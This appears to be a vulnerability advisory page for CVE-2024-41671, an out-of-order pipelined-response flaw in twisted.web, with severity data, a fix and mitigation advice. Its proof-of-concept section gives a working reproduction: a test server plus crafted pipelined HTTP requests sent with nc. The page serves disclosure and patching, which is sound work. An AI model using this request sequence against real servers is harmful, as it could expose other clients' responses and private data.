CVE-2024-41671 is a high-severity (CVSS 8.3) CWE-444 vulnerability in twisted. A fix is available for twisted — see the affected versions and patch details below.
twisted.web has disordered HTTP pipeline response
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-41671.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
twistedReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | twisted | all versions | 24.7.0rc1pip install --upgrade 'twisted==24.7.0rc1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for twisted, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update twisted to 24.7.0rc1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-41671 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2024-41671 in your dependencies?
Find it across PyPI, including transitive dependencies.